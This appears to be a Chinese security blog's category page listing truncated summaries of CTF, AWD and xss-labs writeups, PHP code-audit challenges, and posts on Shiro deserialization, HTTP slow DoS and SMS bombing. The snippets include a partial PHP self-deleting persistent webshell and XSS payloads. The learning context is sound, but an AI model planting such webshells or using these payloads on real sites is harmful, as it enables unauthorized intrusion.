随笔分类 - 网络安全
网络安全为人民。网络安全靠人民
摘要：靶场描述： 红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实APT实战环境，从实战中成长。关于环境可以模拟出各种各样实战路线，目前给出作者实战的一套攻击实战路线如下，虚拟机所有
阅读全文
摘要：开学后实验室来了几个新同学，在线上CTF方面大家一直在持续学习，但AWD模式的CTF我们练习并不多，所以准备搭建一个AWD平台用于实验室成员的线下赛攻防练习。 最开始的是防灾科技大学的线下AWD靶场： https://github.com/glzjin/20190511_awd_docker 但是靶
阅读全文
摘要：一个简单的不死马如： <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.3.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325
阅读全文
摘要：AWD比赛防止没有网络，在移动硬盘里面准备一个乌云漏洞库。 之前也想过弄一个乌云的镜像网站，无奈学生机性能太低下了，部署到公网上服务器存储空间都不够，只能部署在本地硬盘了。 乌云镜像的开源地址：https://github.com/m0l1ce/wooyunallbugs 文件的百度网盘下载链接：h
阅读全文
摘要：CTF SHOW平台的WEB AK赛： 签到_观己 <?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ die('error'); }else{ include($file
阅读全文
摘要：CVE的全称是"Common Vulnerabilities and Exposures"翻译成中文就是"公共漏洞和披露" 可以简单理解跟国内CNVD的通用漏洞证书差不多，不过CVE是分配给你一个全球唯一的CVE_ID 网上申请CVE的教程都是从github开源CMS上入手，本篇也不能免俗，如果你已
阅读全文
摘要：16-20关 第十六关 关键代码为： <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace("
阅读全文
摘要：查看关键代码： <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">"
阅读全文
摘要：进入第六关 简单判断过滤情况 <>script"'/ 查看源代码 可以看到第二个红框部分跟之前类似，闭合双引号尝试进行弹窗 "><script>alert(1)</script> 关键字被下划线分割了，尝试使用前一关的payload "><a href="javascript:alert(1)">h
阅读全文
摘要：以前囫囵吞枣做过一遍，现在从头再来 第一关网址为：http://127.0.0.1/xss-labs-master/level1.php?name=test 而页面上显示了用户test，name可控，查看其源代码为 echo "<h2 align=center>欢迎用户".$str."</h2>";
阅读全文
摘要：Apache Shiro是一个强大易用的Java安全框架，提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用，同时也能提供健壮的安全性。在Apache Shiro编号为550的 issue 中爆出严重的 Java 反序列化漏洞。 漏洞原理： 以后研究透彻了再写 暂时只写利用:D 影响版
阅读全文
摘要：HTTP慢速拒绝服务攻击简介 HTTP慢速攻击是利用HTTP合法机制，以极低的速度往服务器发送HTTP请求，尽量长时间保持连接，不释放，若是达到了Web Server对于并发连接数的上限，同时恶意占用的连接没有被释放，那么服务器端将无法接受新的请求，导致拒绝服务。 HTTP慢速攻击原理（摘抄自倾旋师
阅读全文
摘要：30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇，对于我这个懒癌患者来说，很多事情知易行难，坚持下去，继续学习和提高自己。 源码如下： <?php $role = "guest"; $flag = "flag{test_flag}"; $auth = false; if
阅读全文
摘要：代码审计分段讲解之29题，代码如下： <?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `se
阅读全文
摘要：28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style type="text/css"> body { background:gray; text-align:center; } </style> </head> <body>
阅读全文
摘要：如图，安装之后无Scan选项，流程按照吾爱破解上的文章：https://www.52pojie.cn/thread-1140341-1-1.html 解决办法为： 首先nessus.license在安装目录，目录结构如图： 以管理员权限开启cmd跳转至安装目录 使用命令： nessuscli.exe
阅读全文
摘要：一直没有挖到过短信轰炸漏洞，这次终于遇到了： 获取验证码，抓包 虽然这里存在有滑块验证，但是后端并没有对滑块进行验证，故形同虚设。 多次重放发现还是存在频次限制的，响应包显示发送频繁 使用XFF 进行IP伪造，无果 猜测是通过会话来判断是否多次发送的，对session进行修改与删除，无果 对电话号码
阅读全文
摘要：最近因为实习的原因，为了减少一部分的工作量，在阿里云服务器上搭建了AWVS扫描器 方便摸鱼 但是发现AWVS貌似没有批量添加的方法，作者只好把整理的URL.txt捏了又捏 手动输入是不可能手动输入的，去查了查网上关于AWVS扫描器API的使用，找到两篇文章： https://blog.csdn.ne
阅读全文
摘要：后面的题目相对于之前的题目难度稍微提升了一些，所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_G
阅读全文
摘要：26 unserialize()序列化 <!-- 题目：http://web.jarvisoj.com:32768 --> <!-- index.php --> <?php require_once('shield.php'); $x = new Shield(); isset($_GET['cla
阅读全文
浙公网安备 33010602011771号